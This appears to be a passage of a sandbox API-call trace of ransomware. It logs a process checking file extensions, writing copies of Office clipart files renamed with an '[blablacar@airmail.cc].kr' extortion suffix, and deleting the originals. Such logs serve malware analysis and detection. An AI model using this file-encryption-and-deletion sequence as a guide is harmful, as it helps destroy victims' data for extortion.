lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.785] lstrlenW (lpString=".1cd") returned 4 [0199.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.785] lstrlenW (lpString=".jpg") returned 4 [0199.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.785] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.785] lstrlenW (lpString="J0090149.WMF") returned 12 [0199.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.786] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=28212) returned 1 [0199.786] CloseHandle (hObject=0x534) returned 1 [0199.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0199.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.786] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.787] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.788] GetLastError () returned 0x0 [0199.788] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0199.790] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0199.792] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.792] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.793] SetEndOfFile (hFile=0x558) returned 1 [0199.793] CloseHandle (hObject=0x558) returned 1 [0199.793] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.793] SetEndOfFile (hFile=0x534) returned 1 [0200.006] CloseHandle (hObject=0x534) returned 1 [0200.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0200.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.364] lstrlenW (lpString=".doc") returned 4 [0200.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.364] lstrlenW (lpString=".docx") returned 5 [0200.364] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.364] lstrlenW (lpString=".pdf") returned 4 [0200.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.364] lstrlenW (lpString=".xls") returned 4 [0200.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.364] lstrlenW (lpString=".xlsx") returned 5 [0200.364] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.364] lstrlenW (lpString=".ppt") returned 4 [0200.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.364] lstrlenW (lpString=".zip") returned 4 [0200.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.364] lstrlenW (lpString=".rar") returned 4 [0200.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString=".bz2") returned 4 [0200.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString=".7z") returned 3 [0200.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString=".dbf") returned 4 [0200.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString=".1cd") returned 4 [0200.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString=".jpg") returned 4 [0200.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString=".doc") returned 4 [0200.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString=".docx") returned 5 [0200.365] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.365] lstrlenW (lpString=".pdf") returned 4 [0200.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString=".xls") returned 4 [0200.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.365] lstrlenW (lpString=".xlsx") returned 5 [0200.365] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.365] lstrlenW (lpString=".ppt") returned 4 [0200.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.365] lstrlenW (lpString=".zip") returned 4 [0200.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.366] lstrlenW (lpString=".rar") returned 4 [0200.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.366] lstrlenW (lpString=".bz2") returned 4 [0200.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.366] lstrlenW (lpString=".7z") returned 3 [0200.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.366] lstrlenW (lpString=".dbf") returned 4 [0200.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.366] lstrlenW (lpString=".1cd") returned 4 [0200.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0200.366] lstrlenW (lpString=".jpg") returned 4 [0200.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.366] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.366] lstrlenW (lpString="J0090777.WMF") returned 12 [0200.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.367] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3332) returned 1 [0200.368] CloseHandle (hObject=0x558) returned 1 [0200.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0200.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.368] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.368] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.369] GetLastError () returned 0x0 [0200.369] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xd04, lpOverlapped=0x0) returned 1 [0200.371] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xd10, lpOverlapped=0x0) returned 1 [0200.372] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.372] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.372] SetEndOfFile (hFile=0x534) returned 1 [0200.372] CloseHandle (hObject=0x534) returned 1 [0200.372] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.372] SetEndOfFile (hFile=0x558) returned 1 [0200.375] CloseHandle (hObject=0x558) returned 1 [0200.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0200.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.376] lstrlenW (lpString=".doc") returned 4 [0200.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.376] lstrlenW (lpString=".docx") returned 5 [0200.376] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.376] lstrlenW (lpString=".pdf") returned 4 [0200.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.376] lstrlenW (lpString=".xls") returned 4 [0200.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.376] lstrlenW (lpString=".xlsx") returned 5 [0200.376] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.376] lstrlenW (lpString=".ppt") returned 4 [0200.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.376] lstrlenW (lpString=".zip") returned 4 [0200.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.377] lstrlenW (lpString=".rar") returned 4 [0200.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString=".bz2") returned 4 [0200.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString=".7z") returned 3 [0200.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.377] lstrlenW (lpString=".dbf") returned 4 [0200.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.377] lstrlenW (lpString=".1cd") returned 4 [0200.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.377] lstrlenW (lpString=".jpg") returned 4 [0200.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.377] lstrlenW (lpString=".doc") returned 4 [0200.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString=".docx") returned 5 [0200.377] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.377] lstrlenW (lpString=".pdf") returned 4 [0200.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.377] lstrlenW (lpString=".xls") returned 4 [0200.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.377] lstrlenW (lpString=".xlsx") returned 5 [0200.377] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.377] lstrlenW (lpString=".ppt") returned 4 [0200.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.378] lstrlenW (lpString=".zip") returned 4 [0200.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.378] lstrlenW (lpString=".rar") returned 4 [0200.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.378] lstrlenW (lpString=".bz2") returned 4 [0200.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.378] lstrlenW (lpString=".7z") returned 3 [0200.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.378] lstrlenW (lpString=".dbf") returned 4 [0200.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.378] lstrlenW (lpString=".1cd") returned 4 [0200.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0200.378] lstrlenW (lpString=".jpg") returned 4 [0200.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.379] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.379] lstrlenW (lpString="J0090779.WMF") returned 12 [0200.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.379] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1456) returned 1 [0200.379] CloseHandle (hObject=0x558) returned 1 [0200.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0200.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.380] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.380] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.381] GetLastError () returned 0x0 [0200.381] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0200.385] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0200.386] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.387] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.387] SetEndOfFile (hFile=0x534) returned 1 [0200.387] CloseHandle (hObject=0x534) returned 1 [0200.387] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.387] SetEndOfFile (hFile=0x558) returned 1 [0200.395] CloseHandle (hObject=0x558) returned 1 [0200.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0200.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.397] lstrlenW (lpString=".doc") returned 4 [0200.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.397] lstrlenW (lpString=".docx") returned 5 [0200.397] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.397] lstrlenW (lpString=".pdf") returned 4 [0200.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.397] lstrlenW (lpString=".xls") returned 4 [0200.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.397] lstrlenW (lpString=".xlsx") returned 5 [0200.397] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.397] lstrlenW (lpString=".ppt") returned 4 [0200.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.397] lstrlenW (lpString=".zip") returned 4 [0200.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.397] lstrlenW (lpString=".rar") returned 4 [0200.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString=".bz2") returned 4 [0200.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString=".7z") returned 3 [0200.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString=".dbf") returned 4 [0200.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString=".1cd") returned 4 [0200.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString=".jpg") returned 4 [0200.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString=".doc") returned 4 [0200.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString=".docx") returned 5 [0200.398] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.398] lstrlenW (lpString=".pdf") returned 4 [0200.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString=".xls") returned 4 [0200.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.398] lstrlenW (lpString=".xlsx") returned 5 [0200.398] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.398] lstrlenW (lpString=".ppt") returned 4 [0200.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.398] lstrlenW (lpString=".zip") returned 4 [0200.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.399] lstrlenW (lpString=".rar") returned 4 [0200.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.399] lstrlenW (lpString=".bz2") returned 4 [0200.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.399] lstrlenW (lpString=".7z") returned 3 [0200.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.399] lstrlenW (lpString=".dbf") returned 4 [0200.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.399] lstrlenW (lpString=".1cd") returned 4 [0200.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0200.399] lstrlenW (lpString=".jpg") returned 4 [0200.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.399] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.399] lstrlenW (lpString="J0090781.WMF") returned 12 [0200.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 